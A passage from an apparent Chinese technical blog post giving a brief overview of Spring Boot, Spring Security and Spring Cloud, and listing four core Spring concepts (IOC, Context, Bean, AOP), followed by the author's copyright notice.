所以出现 springboot,其内置 tomcat并且内置默认的XML配置信息,从而方便了用户的使用。下图就直观表现了他们之间的关系

spring security主要是用来做鉴权,保证安全性的

Spring Cloud基于 Spring Boot,简化了分布式系统的开发,集成了服务发现、配置管理、消息总线、负载均衡、断路器、数据监控等各种服务治理能力整个 spring家族有四个重要的基本概念,分别是

  1. IOC:控制反转
  2. Context:上下文
  3. Bean:被Spring 容器管理的Java对象
  4. AOP:面向切面的编程

版权声明:
作者:jianxin
链接:http://usg0v.com/?p=73
来源:剑心哥哥Blogs
文章版权归作者所有,未经允许请勿转载。

THE END
分享
二维码
< <上一篇
下一篇>>